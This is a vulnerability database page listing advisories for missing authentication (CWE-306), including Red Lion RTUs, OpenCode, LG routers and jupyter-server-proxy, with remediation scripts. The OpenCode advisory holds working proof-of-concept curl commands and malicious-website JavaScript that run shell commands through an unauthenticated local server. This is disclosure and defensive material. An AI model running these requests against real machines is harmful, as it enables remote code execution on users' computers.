CWE-306
AllowedMissing Authentication for Critical Function
Abstraction: Base · Status: Draft
The product does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources.
3442 vulnerabilities reference this CWE, most recent first.
GHSA-VWRM-49FW-HJGJ
Vulnerability from github – Published: 2023-11-21 03:30 – Updated: 2023-11-21 03:30Red Lion SixTRAK and VersaTRAK Series RTUs with authenticated users enabled (UDR-A) any Sixnet UDR message will meet an authentication challenge over UDP/IP. When the same message is received over TCP/IP the RTU will simply accept the message with no authentication challenge.
{
"affected": [],
"aliases": [
"CVE-2023-42770"
],
"database_specific": {
"cwe_ids": [
"CWE-288",
"CWE-306"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-11-21T01:15:07Z",
"severity": "CRITICAL"
},
"details": "\nRed Lion SixTRAK and VersaTRAK Series RTUs with authenticated users enabled (UDR-A) any Sixnet UDR message will meet an authentication challenge over UDP/IP. When the same message is received over TCP/IP the RTU will simply accept the message with no authentication challenge.\n\n",
"id": "GHSA-vwrm-49fw-hjgj",
"modified": "2023-11-21T03:30:26Z",
"published": "2023-11-21T03:30:26Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-42770"
},
{
"type": "WEB",
"url": "https://https://support.redlion.net/hc/en-us/articles/19339209248269-RLCSIM-2023-05-Authentication-Bypass-and-Remote-Code-Execution"
},
{
"type": "WEB",
"url": "https://www.cisa.gov/news-events/ics-advisories/icsa-23-320-01"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-VX53-3HHQ-VPPX
Vulnerability from github – Published: 2026-04-24 00:31 – Updated: 2026-04-24 00:31A vulnerability in SenseLive X3050’s management ecosystem allows unauthenticated discovery of deployed units through the vendor’s management protocol, enabling identification of device presence, identifiers, and management interfaces without requiring credentials. Because discovery functions are exposed by the underlying service rather than gated by authentication, an attacker on the same network segment can rapidly enumerate targeted devices.
{
"affected": [],
"aliases": [
"CVE-2026-35064"
],
"database_specific": {
"cwe_ids": [
"CWE-306"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-04-24T00:16:27Z",
"severity": "HIGH"
},
"details": "A vulnerability in\u00a0SenseLive\u00a0X3050\u2019s management ecosystem allows unauthenticated discovery of deployed units through the vendor\u2019s management protocol, enabling identification of device presence, identifiers, and management interfaces without requiring credentials. Because discovery functions are exposed by the underlying service rather than gated by authentication, an attacker on the same network segment can rapidly enumerate targeted devices.",
"id": "GHSA-vx53-3hhq-vppx",
"modified": "2026-04-24T00:31:52Z",
"published": "2026-04-24T00:31:52Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35064"
},
{
"type": "WEB",
"url": "https://github.com/cisagov/CSAF/blob/develop/csaf_files/OT/white/2026/icsa-26-111-12.json"
},
{
"type": "WEB",
"url": "https://senselive.io/contact"
},
{
"type": "WEB",
"url": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-111-12"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-VXW4-WV6M-9HHH
Vulnerability from github – Published: 2026-01-13 20:35 – Updated: 2026-01-13 20:35Previously reported via email to support@sst.dev on 2025-11-17 per the security policy in opencode-sdk-js/SECURITY.md. No response received.
Summary
OpenCode automatically starts an unauthenticated HTTP server that allows any local process—or any website via permissive CORS—to execute arbitrary shell commands with the user's privileges.
Details
When OpenCode starts, it spawns an HTTP server (default port 4096+) with no authentication. Critical endpoints exposed:
POST /session/:id/shell- Execute shell commands (server.ts:1401)POST /pty- Create interactive terminal sessions (server.ts:267)GET /file/content?path=- Read arbitrary files (server.ts:1868)
The server is started automatically in cli/cmd/tui/worker.ts:36 via Server.listen().
No authentication middleware exists in server/server.ts. The server uses permissive CORS (.use(cors()) with default Access-Control-Allow-Origin: *), enabling browser-based exploitation.
PoC
Local exploitation:
API="http://127.0.0.1:4096" # update with actual port
SESSION_ID=$(curl -s -X POST "$API/session" -H "Content-Type: application/json" -d '{}' | jq -r '.id')
curl -s -X POST "$API/session/$SESSION_ID/shell" -H "Content-Type: application/json" \
-d '{"agent": "build", "command": "echo PWNED > /tmp/pwned.txt"}'
cat /tmp/pwned.txt # outputs: PWNED
Browser-based exploitation:
A malicious website can exploit visitors who have OpenCode running. Confirmed working in Firefox. PoC available upon request.
// Malicious website JavaScript
fetch('http://127.0.0.1:4096/session', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: '{}'
})
.then(r => r.json())
.then(session => {
fetch(`http://127.0.0.1:4096/session/${session.id}/shell`, {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({agent: 'build', command: 'id > /tmp/pwned.txt'})
});
});
Note: Chrome 142+ may prompt for Local Network Access permission. Firefox does not.
Impact
Remote Code Execution via two vectors:
-
Local process: Any malicious npm package, script, or compromised application can execute commands as the user running OpenCode.
-
Browser-based (confirmed in Firefox): Any website can execute commands on visitors who have OpenCode running. This enables drive-by attacks via malicious ads, compromised websites, or phishing pages.
With --mdns flag, the server binds to 0.0.0.0 and advertises via Bonjour, extending the attack surface to the entire local network.
Code analysis, CVSS scoring, and documentation assisted by Claude AI (Opus 4.5). Vulnerability verification and PoC testing performed by the reporter.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "opencode-ai"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.0.216"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-22812"
],
"database_specific": {
"cwe_ids": [
"CWE-306",
"CWE-749",
"CWE-942"
],
"github_reviewed": true,
"github_reviewed_at": "2026-01-13T20:35:08Z",
"nvd_published_at": "2026-01-12T23:15:53Z",
"severity": "HIGH"
},
"details": "*Previously reported via email to support@sst.dev on 2025-11-17 per the security policy in [opencode-sdk-js/SECURITY.md](https://github.com/sst/opencode-sdk-js/blob/main/SECURITY.md). No response received.*\n\n### Summary\n\nOpenCode automatically starts an unauthenticated HTTP server that allows any local process\u2014or any website via permissive CORS\u2014to execute arbitrary shell commands with the user\u0027s privileges.\n\n### Details\n\nWhen OpenCode starts, it spawns an HTTP server (default port 4096+) with no authentication. Critical endpoints exposed:\n\n- `POST /session/:id/shell` - Execute shell commands (`server.ts:1401`)\n- `POST /pty` - Create interactive terminal sessions (`server.ts:267`)\n- `GET /file/content?path=` - Read arbitrary files (`server.ts:1868`)\n\nThe server is started automatically in `cli/cmd/tui/worker.ts:36` via `Server.listen()`.\n\nNo authentication middleware exists in `server/server.ts`. The server uses permissive CORS (`.use(cors())` with default `Access-Control-Allow-Origin: *`), enabling browser-based exploitation.\n\n### PoC\n\n**Local exploitation:**\n\n```bash\nAPI=\"http://127.0.0.1:4096\" # update with actual port\nSESSION_ID=$(curl -s -X POST \"$API/session\" -H \"Content-Type: application/json\" -d \u0027{}\u0027 | jq -r \u0027.id\u0027)\ncurl -s -X POST \"$API/session/$SESSION_ID/shell\" -H \"Content-Type: application/json\" \\\n -d \u0027{\"agent\": \"build\", \"command\": \"echo PWNED \u003e /tmp/pwned.txt\"}\u0027\ncat /tmp/pwned.txt # outputs: PWNED\n```\n\n**Browser-based exploitation:**\n\nA malicious website can exploit visitors who have OpenCode running. Confirmed working in Firefox. PoC available upon request.\n\n```javascript\n// Malicious website JavaScript\nfetch(\u0027http://127.0.0.1:4096/session\u0027, {\n method: \u0027POST\u0027,\n headers: {\u0027Content-Type\u0027: \u0027application/json\u0027},\n body: \u0027{}\u0027\n})\n.then(r =\u003e r.json())\n.then(session =\u003e {\n fetch(`http://127.0.0.1:4096/session/${session.id}/shell`, {\n method: \u0027POST\u0027,\n headers: {\u0027Content-Type\u0027: \u0027application/json\u0027},\n body: JSON.stringify({agent: \u0027build\u0027, command: \u0027id \u003e /tmp/pwned.txt\u0027})\n });\n});\n```\n\nNote: Chrome 142+ may prompt for Local Network Access permission. Firefox does not.\n\n### Impact\n\n**Remote Code Execution** via two vectors:\n\n1. **Local process**: Any malicious npm package, script, or compromised application can execute commands as the user running OpenCode.\n\n2. **Browser-based (confirmed in Firefox)**: Any website can execute commands on visitors who have OpenCode running. This enables drive-by attacks via malicious ads, compromised websites, or phishing pages.\n\nWith `--mdns` flag, the server binds to `0.0.0.0` and advertises via Bonjour, extending the attack surface to the entire local network.\n\n*Code analysis, CVSS scoring, and documentation assisted by Claude AI (Opus 4.5). Vulnerability verification and PoC testing performed by the reporter.*",
"id": "GHSA-vxw4-wv6m-9hhh",
"modified": "2026-01-13T20:35:08Z",
"published": "2026-01-13T20:35:08Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/anomalyco/opencode/security/advisories/GHSA-vxw4-wv6m-9hhh"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-22812"
},
{
"type": "WEB",
"url": "https://github.com/anomalyco/opencode/commit/7d2d87fa2c44e32314015980bb4e59a9386e858c"
},
{
"type": "PACKAGE",
"url": "https://github.com/anomalyco/opencode"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "OpenCode\u0027s Unauthenticated HTTP Server Allows Arbitrary Command Execution"
}
GHSA-VXW6-RGVR-442H
Vulnerability from github – Published: 2022-05-24 16:45 – Updated: 2024-04-04 00:37An issue was discovered on LG GAMP-7100, GAPM-7200, and GAPM-8000 routers. An unauthenticated user can read a log file via an HTTP request containing its full pathname, such as http://192.168.0.1/var/gapm7100_${today's_date}.log for reading a filename such as gapm7100_190101.log.
{
"affected": [],
"aliases": [
"CVE-2019-7404"
],
"database_specific": {
"cwe_ids": [
"CWE-200",
"CWE-306"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-05-13T14:29:00Z",
"severity": "HIGH"
},
"details": "An issue was discovered on LG GAMP-7100, GAPM-7200, and GAPM-8000 routers. An unauthenticated user can read a log file via an HTTP request containing its full pathname, such as http://192.168.0.1/var/gapm7100_${today\u0027s_date}.log for reading a filename such as gapm7100_190101.log.",
"id": "GHSA-vxw6-rgvr-442h",
"modified": "2024-04-04T00:37:18Z",
"published": "2022-05-24T16:45:34Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-7404"
},
{
"type": "WEB",
"url": "https://github.com/epistemophilia/CVEs/blob/master/LG-GAMP-Routers/CVE-2019-7404/poc-cve-2019-7404.py"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-VXWP-6HPW-P9G4
Vulnerability from github – Published: 2023-10-23 18:30 – Updated: 2024-04-04 08:53IBM Sterling Partner Engagement Manager 6.1.2, 6.2.0, and 6.2.2 could allow a remote user to perform unauthorized actions due to improper authentication. IBM X-Force ID: 266896.
{
"affected": [],
"aliases": [
"CVE-2023-43045"
],
"database_specific": {
"cwe_ids": [
"CWE-288",
"CWE-306"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-10-23T18:15:10Z",
"severity": "HIGH"
},
"details": "IBM Sterling Partner Engagement Manager 6.1.2, 6.2.0, and 6.2.2 could allow a remote user to perform unauthorized actions due to improper authentication. IBM X-Force ID: 266896.",
"id": "GHSA-vxwp-6hpw-p9g4",
"modified": "2024-04-04T08:53:19Z",
"published": "2023-10-23T18:30:46Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-43045"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/266896"
},
{
"type": "WEB",
"url": "https://www.ibm.com/support/pages/node/7057409"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-W2J6-P7C6-6CPJ
Vulnerability from github – Published: 2026-04-21 21:31 – Updated: 2026-04-21 21:31Vulnerability in the Oracle Identity Manager Connector product of Oracle Fusion Middleware (component: Core). The supported version that is affected is 12.2.1.4.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTPS to compromise Oracle Identity Manager Connector. Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle Identity Manager Connector accessible data as well as unauthorized access to critical data or complete access to all Oracle Identity Manager Connector accessible data. CVSS 3.1 Base Score 9.1 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N).
{
"affected": [],
"aliases": [
"CVE-2026-34285"
],
"database_specific": {
"cwe_ids": [
"CWE-306"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-04-21T21:16:33Z",
"severity": "CRITICAL"
},
"details": "Vulnerability in the Oracle Identity Manager Connector product of Oracle Fusion Middleware (component: Core). The supported version that is affected is 12.2.1.4.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTPS to compromise Oracle Identity Manager Connector. Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle Identity Manager Connector accessible data as well as unauthorized access to critical data or complete access to all Oracle Identity Manager Connector accessible data. CVSS 3.1 Base Score 9.1 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N).",
"id": "GHSA-w2j6-p7c6-6cpj",
"modified": "2026-04-21T21:31:25Z",
"published": "2026-04-21T21:31:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34285"
},
{
"type": "WEB",
"url": "https://www.oracle.com/security-alerts/cpuapr2026.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-W33V-JCJ5-8C6F
Vulnerability from github – Published: 2026-02-12 03:31 – Updated: 2026-02-12 03:31The AdForest theme for WordPress is vulnerable to authentication bypass in all versions up to, and including, 6.0.12. This is due to the plugin not properly verifying a user's identity prior to authenticating them through the 'sb_login_user_with_otp_fun' function. This makes it possible for unauthenticated attackers to log in as arbitrary users, including administrators.
{
"affected": [],
"aliases": [
"CVE-2026-1729"
],
"database_specific": {
"cwe_ids": [
"CWE-306"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-02-12T02:15:48Z",
"severity": "CRITICAL"
},
"details": "The AdForest theme for WordPress is vulnerable to authentication bypass in all versions up to, and including, 6.0.12. This is due to the plugin not properly verifying a user\u0027s identity prior to authenticating them through the \u0027sb_login_user_with_otp_fun\u0027 function. This makes it possible for unauthenticated attackers to log in as arbitrary users, including administrators.",
"id": "GHSA-w33v-jcj5-8c6f",
"modified": "2026-02-12T03:31:01Z",
"published": "2026-02-12T03:31:01Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-1729"
},
{
"type": "WEB",
"url": "https://themeforest.net/item/adforest-classified-wordpress-theme/19481695"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/34fd42cb-3868-4b1c-bc56-575faf01e8f3?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-W3HC-3VF9-XJJ9
Vulnerability from github – Published: 2025-11-05 17:48 – Updated: 2025-11-05 17:48A vulnerability in the Contact Center Express (CCX) Editor application of Cisco Unified CCX could allow an unauthenticated, remote attacker to bypass authentication and obtain administrative permissions pertaining to script creation and execution.
This vulnerability is due to improper authentication mechanisms in the communication between the CCX Editor and an affected Unified CCX server. An attacker could exploit this vulnerability by redirecting the authentication flow to a malicious server and tricking the CCX Editor into believing the authentication was successful. A successful exploit could allow the attacker to create and execute arbitrary scripts on the underlying operating system of an affected Unified CCX server, as an internal non-root user account.
{
"affected": [],
"aliases": [
"CVE-2025-20358"
],
"database_specific": {
"cwe_ids": [
"CWE-306"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-11-05T17:15:38Z",
"severity": "CRITICAL"
},
"details": "A vulnerability in the Contact Center Express (CCX) Editor application of Cisco Unified CCX could allow an unauthenticated, remote attacker to bypass authentication and obtain administrative permissions pertaining to script creation and execution.\n\nThis vulnerability is due to improper authentication mechanisms in the communication between the CCX Editor and an affected Unified CCX server. An attacker could exploit this vulnerability by redirecting the authentication flow to a malicious server and tricking the CCX Editor into believing the authentication was successful. A successful exploit could allow the attacker to create and execute arbitrary scripts on the underlying operating system of an affected Unified CCX server, as an internal non-root user account.",
"id": "GHSA-w3hc-3vf9-xjj9",
"modified": "2025-11-05T17:48:28Z",
"published": "2025-11-05T17:48:28Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-20358"
},
{
"type": "WEB",
"url": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-cc-unauth-rce-QeN8h7mQ"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-W3PF-J6XR-FJ68
Vulnerability from github – Published: 2026-02-24 03:30 – Updated: 2026-02-24 03:30A vulnerability was determined in DataLinkDC dinky up to 1.2.5. This affects the function addInterceptors of the file dinky-admin/src/main/java/org/dinky/configure/AppConfig.java of the component OpenAPI Endpoint. Executing a manipulation can lead to missing authentication. It is possible to launch the attack remotely. The exploit has been publicly disclosed and may be utilized. The vendor was contacted early about this disclosure but did not respond in any way.
{
"affected": [],
"aliases": [
"CVE-2026-3053"
],
"database_specific": {
"cwe_ids": [
"CWE-287",
"CWE-306"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-02-24T02:16:03Z",
"severity": "MODERATE"
},
"details": "A vulnerability was determined in DataLinkDC dinky up to 1.2.5. This affects the function addInterceptors of the file dinky-admin/src/main/java/org/dinky/configure/AppConfig.java of the component OpenAPI Endpoint. Executing a manipulation can lead to missing authentication. It is possible to launch the attack remotely. The exploit has been publicly disclosed and may be utilized. The vendor was contacted early about this disclosure but did not respond in any way.",
"id": "GHSA-w3pf-j6xr-fj68",
"modified": "2026-02-24T03:30:20Z",
"published": "2026-02-24T03:30:20Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-3053"
},
{
"type": "WEB",
"url": "https://github.com/AnalogyC0de/public_exp/issues/6"
},
{
"type": "WEB",
"url": "https://github.com/AnalogyC0de/public_exp/issues/6#issue-3935019636"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.347411"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.347411"
},
{
"type": "WEB",
"url": "https://vuldb.com/?submit.757589"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-W3VC-FX9P-WP4V
Vulnerability from github – Published: 2024-03-20 15:22 – Updated: 2025-02-21 22:32Summary
jupyter-server-proxy is used to expose ports local to a Jupyter server listening to web traffic to the Jupyter server's authenticated users by proxying web requests and websockets. Dependent packages (partial list) also use jupyter-server-proxy to expose other popular interactive applications (such as RStudio, Linux Desktop via VNC, Code Server, Panel, etc) along with the Jupyter server. This feature is commonly used in hosted environments (such as a JupyterHub) to expose non-Jupyter interactive frontends or APIs to the user.
jupyter-server-proxy did not check user authentication appropriately when proxying websockets, allowing unauthenticated access to anyone who had network access to the Jupyter server endpoint.
Impact
This vulnerability can allow unauthenticated remote access to any websocket endpoint set up to be accessible via jupyter-server-proxy. In many cases (such as when exposing RStudio via jupyter-rsession-proxy or a remote Linux Desktop / VNC via jupyter-remote-desktop-proxy), this leads to remote unauthenticated arbitrary code execution, due to how they use websockets. The websocket endpoints exposed by jupyter_server itself is not affected. Projects that do not rely on websockets are also not affected.
Remediation
Upgrade jupyter-server-proxy to a patched version and restart any running Jupyter server.
You may not be installing jupyter-server-proxy directly, but have it be pulled in as a dependency (partial list of dependent packages) - so you may be vulnerable even if you aren't directly depending on jupyter-server-proxy.
For JupyterHub admins of [TLJH] installations
Expand to read more To secure a tljh deployment's user servers, first check if `jupyter-server-proxy` is installed in the user environment with a vulnerable version. If it is, patch the vulnerability and consider terminating currently running user servers. [tljh]: https://tljh.jupyter.org #### 1. Check for vulnerability As an JupyterHub admin from a terminal in a started user server, you can do:sudo -E python3 -c '
try:
import jupyter_server_proxy
is_vulnerable = not hasattr(jupyter_server_proxy, "__version__")
except:
is_vulnerable = False
if is_vulnerable:
print("WARNING: jupyter-server-proxy __is vulnerable__ to GHSA-w3vc-fx9p-wp4v, see https://github.com/jupyterhub/jupyter-server-proxy/security/advisories/GHSA-w3vc-fx9p-wp4v.")
else:
print("INFO: not vulnerable to GHSA-w3vc-fx9p-wp4v")
'
Alternatively as a root user on the server where tljh is installed, you can do:
sudo PATH=/opt/tljh/user/bin:${PATH} python3 -c '
try:
import jupyter_server_proxy
is_vulnerable = not hasattr(jupyter_server_proxy, "__version__")
except:
is_vulnerable = False
if is_vulnerable:
print("WARNING: jupyter-server-proxy __is vulnerable__ to GHSA-w3vc-fx9p-wp4v, see https://github.com/jupyterhub/jupyter-server-proxy/security/advisories/GHSA-w3vc-fx9p-wp4v.")
else:
print("INFO: not vulnerable to GHSA-w3vc-fx9p-wp4v")
'
#### 2. Patch detected vulnerability
As an JupyterHub admin from a terminal in a started user server, you can do:
sudo -E pip install "jupyter-server-proxy>=3.2.3,!=4.0.0,!=4.1.0"
Alternatively as a root user on the server where tljh is installed, you can do:
sudo PATH=/opt/tljh/user/bin:${PATH} pip install "jupyter-server-proxy>=3.2.3,!=4.0.0,!=4.1.0"
#### 3. Consider terminating currently running user servers
User servers that started before the patch was applied are still vulnerable. To ensure they aren't vulnerable any more you could forcefully terminate their servers via the JupyterHub web interface at `https:///hub/admin`.
For JupyterHub admins of [Z2JH] installations
Expand to read more To secure your z2jh deployment's user servers, first consider if one or more user environments is or may be vulnerable, then ensure new user servers' aren't started with the vulnerability, and finally consider terminating currently running user servers. The steps below guide you to do so. [z2jh]: https://z2jh.jupyter.org #### 1. Check for vulnerabilities Consider all docker images that user servers' environment may be based on. If your deployment expose a fixed set of images, you may be able to update them to non-vulnerable versions. To check if an individual docker image is vulnerable, use a command like:CHECK_IMAGE=jupyter/base-notebook:2023-10-20
docker run --rm $CHECK_IMAGE python3 -c '
try:
import jupyter_server_proxy
is_vulnerable = not hasattr(jupyter_server_proxy, "__version__")
except:
is_vulnerable = False
if is_vulnerable:
print("WARNING: jupyter-server-proxy __is vulnerable__ to GHSA-w3vc-fx9p-wp4v, see https://github.com/jupyterhub/jupyter-server-proxy/security/advisories/GHSA-w3vc-fx9p-wp4v.")
else:
print("INFO: not vulnerable to GHSA-w3vc-fx9p-wp4v")
'
Note that if you reference an image with a mutable tag, such as `quay.io/jupyter/pangeo-notebook:master`, you should ensure a new version is used by configuring the image pull policy so that an older vulnerable version isn't kept being used because it was already available on a Kubernetes node.
singleuser:
image:
name: quay.io/jupyter/pangeo-notebook
tag: master
# pullPolicy (a.k.a. imagePullPolicy in k8s specification) should be
# declared to Always if you make use of mutable tags
pullPolicy: Always
#### 2. Patch vulnerabilities dynamically
If your z2jh deployment still may start vulnerable images for users, you could mount a script that checks and patches the vulnerability before the jupyter server starts.
Below is JupyterHub Helm chart configuration that relies on [`singleuser.extraFiles`] and [`singleuser.cmd`] to mount a script we use as an entrypoint to dynamically check and patch the vulnerability before jupyter server is started.
Unless you change it, the script will attempt to upgrade `jupyter-server-proxy` to a non-vulnerable version if needed, and error if it needs to and fails. You can adjust this behavior by adjusting the constants `UPGRADE_IF_VULNERABLE` and `ERROR_IF_VULNERABLE` inside the script.
[`singleuser.extraFiles`]: https://z2jh.jupyter.org/en/stable/resources/reference.html#singleuser-extrafiles
[`singleuser.cmd`]: https://z2jh.jupyter.org/en/stable/resources/reference.html#singleuser-cmd
singleuser:
cmd:
- /mnt/ghsa-w3vc-fx9p-wp4v/check-patch-run
- jupyterhub-singleuser
extraFiles:
ghsa-w3vc-fx9p-wp4v-check-patch-run:
mountPath: /mnt/ghsa-w3vc-fx9p-wp4v/check-patch-run
mode: 0755
stringData: |
#!/usr/bin/env python3
"""
This script is designed to check for and conditionally patch GHSA-w3vc-fx9p-wp4v
in user servers started by a JupyterHub. The script will execute any command
passed via arguments if provided, allowing it to wrap a user server startup call
to `jupyterhub-singleuser` for example.
Use and function of this script can be further discussed in
https://github.com/jupyterhub/zero-to-jupyterhub-k8s/issues/3360.
Script adjustments:
- UPGRADE_IF_VULNERABLE
- ERROR_IF_VULNERABLE
Script patching assumptions:
- script is run before the jupyter server starts
- pip is available
- pip has sufficient filesystem permissions to upgrade jupyter-server-proxy
Read more at https://github.com/jupyterhub/jupyter-server-proxy/security/advisories/GHSA-w3vc-fx9p-wp4v.
"""
import os
import subprocess
import sys
# adjust these to meet vulnerability mitigation needs
UPGRADE_IF_VULNERABLE = True
ERROR_IF_VULNERABLE = True
def check_vuln():
"""
Checks for the vulnerability by looking to see if __version__ is available
as it coincides with the patched versions (3.2.3 and 4.1.1).
"""
try:
import jupyter_server_proxy
return False if hasattr(jupyter_server_proxy, "__version__") else True
except:
return False
def get_version_specifier():
"""
Returns a pip version specifier for use with `--no-deps` meant to do as
little as possible besides patching the vulnerability and remaining
functional.
"""
old = ["jupyter-server-proxy>=3.2.3,<4"]
new = ["jupyter-server-proxy>=4.1.1,<5", "simpervisor>=1,<2"]
try:
if sys.version_info < (3, 8):
return old
from importlib.metadata import version
jsp_version = version("jupyter-server-proxy")
if int(jsp_version.split(".")[0]) < 4:
return old
except:
pass
return new
def patch_vuln():
"""
Attempts to patch the vulnerability by upgrading jupyter-server-proxy using
pip. Returns True if the patch is applied successfully, otherwise False.
"""
# attempt upgrade via pip, takes ~4 seconds
proc = subprocess.run(
[sys.executable, "-m", "pip", "--version"],
stdout=subprocess.DEVNULL,
stderr=subprocess.DEVNULL,
)
pip_available = proc.returncode == 0
if pip_available:
proc = subprocess.run(
[sys.executable, "-m", "pip", "install", "--no-deps"]
+ get_version_specifier()
)
if proc.returncode == 0:
return True
return False
def main():
if check_vuln():
warning_or_error = (
"ERROR" if ERROR_IF_VULNERABLE and not UPGRADE_IF_VULNERABLE else "WARNING"
)
print(
f"{warning_or_error}: jupyter-server-proxy __is vulnerable__ to GHSA-w3vc-fx9p-wp4v, see "
"https://github.com/jupyterhub/jupyter-server-proxy/security/advisories/GHSA-w3vc-fx9p-wp4v.",
flush=True,
)
if warning_or_error == "ERROR":
sys.exit(1)
if UPGRADE_IF_VULNERABLE:
print(
"INFO: Attempting to upgrade jupyter-server-proxy using pip...",
flush=True,
)
if patch_vuln():
print(
"INFO: Attempt to upgrade jupyter-server-proxy succeeded!",
flush=True,
)
else:
warning_or_error = "ERROR" if ERROR_IF_VULNERABLE else "WARNING"
print(
f"{warning_or_error}: Attempt to upgrade jupyter-server-proxy failed!",
flush=True,
)
if warning_or_error == "ERROR":
sys.exit(1)
if len(sys.argv) >= 2:
print("INFO: Executing provided command", flush=True)
os.execvp(sys.argv[1], sys.argv[1:])
else:
print("INFO: No command to execute provided", flush=True)
main()
#### 3. Consider terminating currently running user servers
User servers that started before the patch was applied are still vulnerable. To ensure they aren't vulnerable any more you could forcefully terminate their servers via the JupyterHub web interface at `https:///hub/admin`.
Simple Reproduction
Expand to read more ### Setup application to proxy Make a trivial tornado app that has both websocket and regular HTTP endpoints.from tornado import websocket, web, ioloop
class EchoWebSocket(websocket.WebSocketHandler):
def open(self):
print("WebSocket opened")
def on_message(self, message):
self.write_message(u"You said: " + message)
def on_close(self):
print("WebSocket closed")
class HiHandler(web.RequestHandler):
def get(self):
self.write("Hi")
app = web.Application([
(r'/ws', EchoWebSocket),
(r'/hi', HiHandler)
])
if __name__ == '__main__':
app.listen(9500)
ioloop.IOLoop.instance().start()
### Setup a clean environment with `jupyter-server-proxy` and start a `jupyter server` instance
We don't need jupyterlab or anything else here, just `jupyter-server-proxy` would do.
python -m venv clean-env/
source clean-env/bin/activate
pip install jupyter-server-proxy
jupyter server
### Verify HTTP requests require authentication
curl -L http://127.0.0.1:8888/proxy/9500/hi
